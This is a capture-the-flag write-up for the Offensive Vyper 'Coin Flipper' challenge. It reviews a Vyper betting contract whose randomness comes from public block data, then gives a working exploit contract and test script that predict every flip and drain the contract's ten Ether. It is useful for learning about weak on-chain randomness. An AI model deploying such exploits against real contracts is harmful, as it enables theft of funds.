Solution for “Offensive Vyper - Challenge 2 - Coin Flipper”.
1) Challenge
Description
The Coin Flipper is a true/false coin-toss with a 50% chance of either. It costs one Ether to play, but pays two Ether on a correct guess. On a long enough timescale, players are expected to break even. Your objective is to not break even; drain all ten Ether from the contract.
Challenge created by @jtriley_eth.
2) Code Review
This challenge has two contracts: CoinFlipper
, used to handle the coin-toss logic, and RandomNumber
, used to generate random numbers.
CoinFlipper.vy
contract (source code):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
|
# @version ^0.3.2
"""
@title Coin Flipper
@author jtriley.eth
"""
interface Rng:
def generate_random_number() -> uint256: nonpayable
event Winner:
account: indexed(address)
amount: uint256
generator: public(address)
cost: constant(uint256) = 10 ** 18
@external
@payable
def __init__(generator: address):
self.generator = generator
@external
@payable
def flip_coin(guess: bool):
"""
@notice Takes a guess and 1 ether. If correct, it pays 2 ether.
@param guess Heads or Tails (true for heads).
@dev Throws when value is not 1 ether.
"""
assert msg.value == cost, "cost is 1 ether"
side: bool = Rng(self.generator).generate_random_number() % 2 == 0
if side == guess:
amount: uint256 = cost * 2
send(msg.sender, amount)
log Winner(msg.sender, amount)
|
The main function of this contract is flip_coin
:
- it accepts a boolean value (the guess)
- it checks if
1
ETH is sent (line 36
).
- it calls the
generate_random_number
from the RandomNumber
contract and checks if module 2
of the result is equal to 0
(line 38
)
- the resulting boolean value is compared with the
guess
parameter (line 40
)
- if they are equal, the sender will receive
2
ETH (lines 42-44
)
RandomNumber.vy
contract (source code)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
|
# @version ^0.3.2
"""
@title Random Number Generator
@author jtriley.eth
"""
nonce: public(uint256)
@external
def generate_random_number() -> uint256:
"""
@notice Generates a random number for the caller.
@dev Increment nonce to ensure two contracts don't receive the same value in the same block.
"""
digest: bytes32 = keccak256(
concat(
block.prevhash,
convert(block.timestamp, bytes32),
convert(block.difficulty, bytes32),
convert(self.nonce, bytes32)
)
)
self.nonce += 1
return convert(digest, uint256)
|
It exposes only one function, generate_random_number
that is responsible for computing a random number:
- it uses block information like the previous hash, timestamp and the difficulty
- it concatenates all these values with also a
nonce
variable
- finally, it computes the
keccak256
of this value and increments the nonce by 1
Generating random numbers has always been challenging in the blockchain context. In this case, everyone can also know the source of randomness used (i.e. the block information) since this information is public.
Question
How can we guess the right coin flip?
Given that we can access the same information that the generate_random_number
uses to compute the “random” number, to guess the right coin flip, we can replicate the code inside the function, calculate the boolean value and then call the flip_coin
.
We need to replicate the code inside generate_random_number
and not simply call that function because, at every call, it updates the nonce
variable. So if we first call generate_random_number
to compute the value and then pass the resulting boolean value to flip_coin
, generate_random_number
will be called again, but the nonce will be different from the one we used, leading to a potentially different result. So, if we replicate the code, we can also replicate the nonce value and compute the right guess.
3) Solution
The solution consists of different steps:
- call our contract function, sending
1
ETH
- compute the same random number using the same code of
generate_random_number
- call
flip_coin
we the value just computed
- increment the nonce
- Repeat these steps ten times until we drained all the founds (the balance of the
CoinFlip
contract is 10
ETH, so if each time we win, we’ll decrease the balance by one)
coin-flipper.challenge.js
:
1
2
3
4
5
6
7
8
9
10
|
it('Exploit', async function () {
// YOUR EXPLOIT HERE
let exploit = await (await ethers.getContractFactory('CoinFlipperExploit', deployer)).deploy(this.coinFlipper.address)
await exploit.connect(attacker).run({
value: ethers.utils.parseEther('1')
});
})
|
CoinFlipperExploit.vy
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
|
# YOUR EXPLOIT HERE
@internal
def guess(nonce: uint256) -> bool:
digest: bytes32 = keccak256(
concat(
block.prevhash,
convert(block.timestamp, bytes32),
convert(block.difficulty, bytes32),
convert(nonce, bytes32)
)
)
return convert(digest, uint256) % 2 == 0
@external
@payable
def run():
assert msg.value == 10 ** 18, "Not enough ETH"
for nonce in range(10):
raw_call(
self.target,
_abi_encode(self.guess(nonce), method_id=method_id("flip_coin(bool)")),
value=msg.value
)
@external
@payable
def __default__():
pass
|
You can find the complete code here and here.
4) References